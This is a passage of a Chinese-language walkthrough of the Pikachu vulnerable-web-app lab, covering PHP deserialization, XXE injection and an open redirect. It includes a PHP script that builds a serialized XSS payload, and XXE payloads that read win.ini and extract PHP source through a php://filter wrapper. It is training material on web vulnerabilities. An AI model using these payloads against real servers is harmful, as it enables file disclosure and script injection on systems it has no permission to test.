自行新建一个php文件来生成用于漏洞利用的字符串
<?php
class S{
var $test = "<script>alert('Hacker')</script>";
}$example = new S();
$SerialString = serialize($example);
echo $SerialString;#输出将是O:1:"S":1:{s:4:"test";s:32:"<script>alert('Hacker')</script>";}?>
将输出的结果复制到输入行里面
可以看到,php对其进行反序列化后,没有对其转化为文本,而是作为代码进行处理,导致弹出了Hacker
十三.XXE外部实体注入
先了解下xxe外部实体注入漏洞
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入
1.xxe漏洞
xml文档结构
先随便输入些东西
页面提示如下
此时输入包含命名实体(内部实体)的xml数据,xxe是实体命名的名称
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "吃了没" > ]>
<foo>&xxe;</foo>
可以看到页面正常回显了,但是没有办法证明此时服务器支持外部实体
继续构造payload,c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
也可以查看php源码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]>
<foo>&xxe;</foo>
可以弹出base64编码的rce.php内容
十四.URL重定向
1.不安全的url跳转
可以发现,当点击前两个链接时,页面没有反应,而点击第三个时直接跳转到了概述,点击第四个是正常的反应,也就是说明存在重定向的漏洞是第三个链接
使用bp对第三个链接抓包,对其进行改包,看看能否跳转到b站
发现成功跳转了,证明其存在重定向漏洞